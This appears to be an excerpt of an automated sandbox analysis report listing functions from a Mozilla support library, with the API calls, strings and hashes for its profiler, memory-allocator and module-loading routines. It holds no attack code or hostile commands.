GetCurrentThreadId.KERNEL32 ref: 6C9BF98A
GetCurrentThreadId.KERNEL32 ref: 6C9BF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9BF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9BF716

Part of subcall function 6C9B94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9B94EE
Part of subcall function 6C9B94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9B9508

Part of subcall function 6C97B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C97B5E0

GetCurrentThreadId.KERNEL32 ref: 6C9BF739
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BF746
GetCurrentThreadId.KERNEL32 ref: 6C9BF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9F385B,00000002,?,?,?,?,?), ref: 6C9BF829
free.MOZGLUE(?,?,00000000,?), ref: 6C9BF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C9BF866
free.MOZGLUE(?), ref: 6C9BFA0C

Part of subcall function 6C985E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9855E1), ref: 6C985E8C
Part of subcall function 6C985E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C985E9D
Part of subcall function 6C985E60: GetCurrentThreadId.KERNEL32 ref: 6C985EAB
Part of subcall function 6C985E60: GetCurrentThreadId.KERNEL32 ref: 6C985EB8
Part of subcall function 6C985E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C985ECF
Part of subcall function 6C985E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C985F27
Part of subcall function 6C985E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C985F47
Part of subcall function 6C985E60: GetCurrentProcess.KERNEL32 ref: 6C985F53
Part of subcall function 6C985E60: GetCurrentThread.KERNEL32 ref: 6C985F5C
Part of subcall function 6C985E60: GetCurrentProcess.KERNEL32 ref: 6C985F66
Part of subcall function 6C985E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C985F7E

free.MOZGLUE(?), ref: 6C9BF9C5
free.MOZGLUE(?), ref: 6C9BF9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C9BF9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6C9BF71F
" attempted to re-register as ", xrefs: 6C9BF858
Thread , xrefs: 6C9BF789

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 038cbf6e04c6f4e13c8a5b1f933350ceac8e80ef6d1ff761bf28aa4ed57e2432
Instruction ID: 9985594550d92f6bbae3acd70166a0c466bd731ea5a8906e72190a5684e68cdd
Opcode Fuzzy Hash: 038cbf6e04c6f4e13c8a5b1f933350ceac8e80ef6d1ff761bf28aa4ed57e2432
Instruction Fuzzy Hash: CF812379604204AFDB109F64C840AAFB7B5BFE5308F54456DE859ABB51EB30D809CBA2

Function 6C9BEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C984A68), ref: 6C9B945E
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9B9470
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9B9482
Part of subcall function 6C9B9420: __Init_thread_footer.LIBCMT ref: 6C9B949F

GetCurrentThreadId.KERNEL32 ref: 6C9BEE60
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BEE6D
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C9BEEA5
CloseHandle.KERNEL32(?), ref: 6C9BEEB4
free.MOZGLUE(00000000), ref: 6C9BEEBB
GetCurrentThreadId.KERNEL32 ref: 6C9BEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9BEECF

Part of subcall function 6C9BDE60: GetCurrentThreadId.KERNEL32 ref: 6C9BDE73
Part of subcall function 6C9BDE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C984A68), ref: 6C9BDE7B
Part of subcall function 6C9BDE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C984A68), ref: 6C9BDEB8
Part of subcall function 6C9BDE60: free.MOZGLUE(00000000,?,6C984A68), ref: 6C9BDEFE
Part of subcall function 6C9BDE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C9BDF38

Part of subcall function 6C9ACBE8: GetCurrentProcess.KERNEL32(?,6C9731A7), ref: 6C9ACBF1
Part of subcall function 6C9ACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9731A7), ref: 6C9ACBFA

GetCurrentThreadId.KERNEL32 ref: 6C9BEF1E
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BEF2B
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BEF59
GetCurrentThreadId.KERNEL32 ref: 6C9BEFB0
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BEFBD
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BEFE1
GetCurrentThreadId.KERNEL32 ref: 6C9BEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9BF000

Part of subcall function 6C9B94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9B94EE
Part of subcall function 6C9B94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9B9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C9BF02F

Part of subcall function 6C9BF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9BF09B
Part of subcall function 6C9BF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C9BF0AC
Part of subcall function 6C9BF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C9BF0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C9BF008
[I %d/%d] profiler_stop, xrefs: 6C9BEED7

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: bc52451eb73348dfcb9b041615a822d805c7aeef08ea4329954dfdecd4ad5a7d
Instruction ID: d42e2d50507ab54e7aa34cc36ec349c21bf2eb2fd658fee257ef1ba240cc17ba
Opcode Fuzzy Hash: bc52451eb73348dfcb9b041615a822d805c7aeef08ea4329954dfdecd4ad5a7d
Instruction Fuzzy Hash: C751A035608214AFDB009F64E4087AA77F8EB5621DF34059AEA7993F80DB75C805C7E6

Function 6C9AD010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9FE804), ref: 6C9AD047
GetSystemInfo.KERNEL32(?), ref: 6C9AD093
__Init_thread_footer.LIBCMT ref: 6C9AD0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9FE810,00000040), ref: 6C9AD0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9FE7B8,00001388), ref: 6C9AD147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9FE744,00001388), ref: 6C9AD162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9FE784,00001388), ref: 6C9AD18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9FE7DC,00001388), ref: 6C9AD1B1

Strings

MALLOC_OPTIONS, xrefs: 6C9AD0CB
MOZ_CRASH(), xrefs: 6C9AD277
<jemalloc>, xrefs: 6C9AD268, 6C9AD311
: (malloc) Unsupported character in malloc options: ', xrefs: 6C9AD322
Compile-time page size does not divide the runtime one., xrefs: 6C9AD26D

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: b95fafbde65f31599f18b731b81d421568726bf876d9ae2103d2887f8fb992d9
Instruction ID: c6335598f4885b7a747691ee343949a85619e9d4e260fb78a680f910990aec0f
Opcode Fuzzy Hash: b95fafbde65f31599f18b731b81d421568726bf876d9ae2103d2887f8fb992d9
Instruction Fuzzy Hash: 98812271B082049BEB049FA9E944BA977F9FB56B08F340129ED2197F80D771D806CBD2

Function 6C985E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C985E9D

Part of subcall function 6C995B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9956EE,?,00000001), ref: 6C995B85
Part of subcall function 6C995B50: EnterCriticalSection.KERNEL32(6C9FF688,?,?,?,6C9956EE,?,00000001), ref: 6C995B90
Part of subcall function 6C995B50: LeaveCriticalSection.KERNEL32(6C9FF688,?,?,?,6C9956EE,?,00000001), ref: 6C995BD8
Part of subcall function 6C995B50: GetTickCount64.KERNEL32 ref: 6C995BE4

GetCurrentThreadId.KERNEL32 ref: 6C985EAB
GetCurrentThreadId.KERNEL32 ref: 6C985EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C985ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C986017

Part of subcall function 6C974310: moz_xmalloc.MOZGLUE(00000010,?,6C9742D2), ref: 6C97436A
Part of subcall function 6C974310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C9742D2), ref: 6C974387

moz_xmalloc.MOZGLUE(00000004), ref: 6C985F47
GetCurrentProcess.KERNEL32 ref: 6C985F53
GetCurrentThread.KERNEL32 ref: 6C985F5C
GetCurrentProcess.KERNEL32 ref: 6C985F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C985F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C985F27

Part of subcall function 6C98CA10: mozalloc_abort.MOZGLUE(?), ref: 6C98CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9855E1), ref: 6C985E8C

Part of subcall function 6C98CA10: malloc.MOZGLUE(?), ref: 6C98CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9855E1), ref: 6C98605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9855E1), ref: 6C9860CC

Strings

GeckoMain, xrefs: 6C985ECE, 6C986015

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 879eb57fa81daeb3c0e4d3f33cf9cae836301cb760be963e2857cb948e364c12
Instruction ID: ef9d79592df2731dbb70cbf896d98e6238be1df111a7d4ea1d4098208fa9c882
Opcode Fuzzy Hash: 879eb57fa81daeb3c0e4d3f33cf9cae836301cb760be963e2857cb948e364c12
Instruction Fuzzy Hash: 2771A0B0A09740DFD700DF29D480A6ABBF4FF69308F14496DE4968BB52D731E958CB92

Function 6C989590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9731C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C973217
Part of subcall function 6C9731C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C973236
Part of subcall function 6C9731C0: FreeLibrary.KERNEL32 ref: 6C97324B
Part of subcall function 6C9731C0: __Init_thread_footer.LIBCMT ref: 6C973260
Part of subcall function 6C9731C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C97327F
Part of subcall function 6C9731C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C97328E
Part of subcall function 6C9731C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9732AB
Part of subcall function 6C9731C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9732D1
Part of subcall function 6C9731C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9732E5
Part of subcall function 6C9731C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9732F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C989675
__Init_thread_footer.LIBCMT ref: 6C989697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9896E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C989707
__Init_thread_footer.LIBCMT ref: 6C98971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C989773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9897B7
FreeLibrary.KERNEL32 ref: 6C9897D0
FreeLibrary.KERNEL32 ref: 6C9897EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C989824

Strings

MapViewOfFileNuma2, xrefs: 6C9897B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C989670
ntdll.dll, xrefs: 6C9896E3
NtMapViewOfSection, xrefs: 6C989701

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: f3e9c516aaf32f34f52c933af01da807c0bf2a0de44e21ab0e0de6f84ed66350
Instruction ID: 6356b7e3efdd58ba573dbff7cd5c0bbd756f0aaed52408061c941e8ab07aa334
Opcode Fuzzy Hash: f3e9c516aaf32f34f52c933af01da807c0bf2a0de44e21ab0e0de6f84ed66350
Instruction Fuzzy Hash: 8B61C3717093059FDF00CFA8E884B9ABBF5EB4AB18F214919E92597B80D730E845CB91

Function 6C987FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C988007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C98801D

Part of subcall function 6C98CA10: malloc.MOZGLUE(?), ref: 6C98CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C98802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C98803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C98808D

Part of subcall function 6C98CA10: mozalloc_abort.MOZGLUE(?), ref: 6C98CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C98809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C9880B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C9880DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9880ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9880FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C98810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C988133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C988149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C988167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C98817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C988199

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: 31c2e909fb7aaac713a6c863a939a6167291d2eafc4cfda1725e828a130346fa
Instruction ID: a4e96918eb729f8fd68750d051436c3370c3aa1c62bde26cae66885d60ea51e9
Opcode Fuzzy Hash: 31c2e909fb7aaac713a6c863a939a6167291d2eafc4cfda1725e828a130346fa
Instruction Fuzzy Hash: 5A51A7B1E01204ABDB00DFA5DC84ADFB7B9AF69264F280525E815E7741EB31DD04CBB1

Function 6C9D6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C9FF618), ref: 6C9D6694
GetThreadId.KERNEL32(?), ref: 6C9D66B1
GetCurrentThreadId.KERNEL32 ref: 6C9D66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C9D66E1
EnterCriticalSection.KERNEL32(6C9FF618), ref: 6C9D6734
GetCurrentProcess.KERNEL32 ref: 6C9D673A
LeaveCriticalSection.KERNEL32(6C9FF618), ref: 6C9D676C
GetCurrentThread.KERNEL32 ref: 6C9D67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C9D6868
RtlCaptureContext.NTDLL ref: 6C9D687F

Strings

WalkStack64, xrefs: 6C9D6890

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: a30e05defca81efb8dcb0ac9138c3de3d6e713680e6f8b18ca4eebab8b195f03
Instruction ID: 639b73fb6d15c4cecf14a39cd17647f5fbb2c4bf2c00ef0a79d5f9fde74b1554
Opcode Fuzzy Hash: a30e05defca81efb8dcb0ac9138c3de3d6e713680e6f8b18ca4eebab8b195f03
Instruction Fuzzy Hash: DF51CB71A09705AFD711CF24C844B5EBBF8BF99B14F11892DF9A8A7640D770E908CB92

Function 6C9BDE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C984A68), ref: 6C9B945E
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9B9470
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9B9482
Part of subcall function 6C9B9420: __Init_thread_footer.LIBCMT ref: 6C9B949F

GetCurrentThreadId.KERNEL32 ref: 6C9BDE73
GetCurrentThreadId.KERNEL32 ref: 6C9BDF7D
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BDF8A
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BDFC9
GetCurrentThreadId.KERNEL32 ref: 6C9BDFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9BE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C984A68), ref: 6C9BDE7B

Part of subcall function 6C9B94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9B94EE
Part of subcall function 6C9B94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9B9508

Part of subcall function 6C9ACBE8: GetCurrentProcess.KERNEL32(?,6C9731A7), ref: 6C9ACBF1
Part of subcall function 6C9ACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9731A7), ref: 6C9ACBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C984A68), ref: 6C9BDEB8
free.MOZGLUE(00000000,?,6C984A68), ref: 6C9BDEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C9BDF38

Strings

<none>, xrefs: 6C9BDFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C9BE00E
[I %d/%d] locked_profiler_stop, xrefs: 6C9BDE83

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: a6e39af53975b67886db0941d7c1f6bc14b3cdc0e5e8b680d40c045bacd3f343
Instruction ID: 288eb01b49bd1dc6348e04fd34de4710144c1f1488f7e284e01b2d24665e8d81
Opcode Fuzzy Hash: a6e39af53975b67886db0941d7c1f6bc14b3cdc0e5e8b680d40c045bacd3f343
Instruction Fuzzy Hash: CC411836709610ABDB109F64E8087AF77B5EF9630CF240015E929A7F45CB31D816CBE6

Function 6C9CD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9CD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9CD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9CD52A
GetCurrentThreadId.KERNEL32 ref: 6C9CD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9CD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9CD55F
free.MOZGLUE(00000000), ref: 6C9CD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C9CD5D3
GetCurrentThreadId.KERNEL32 ref: 6C9CD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9CD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9CD652
GetCurrentThreadId.KERNEL32 ref: 6C9CD658
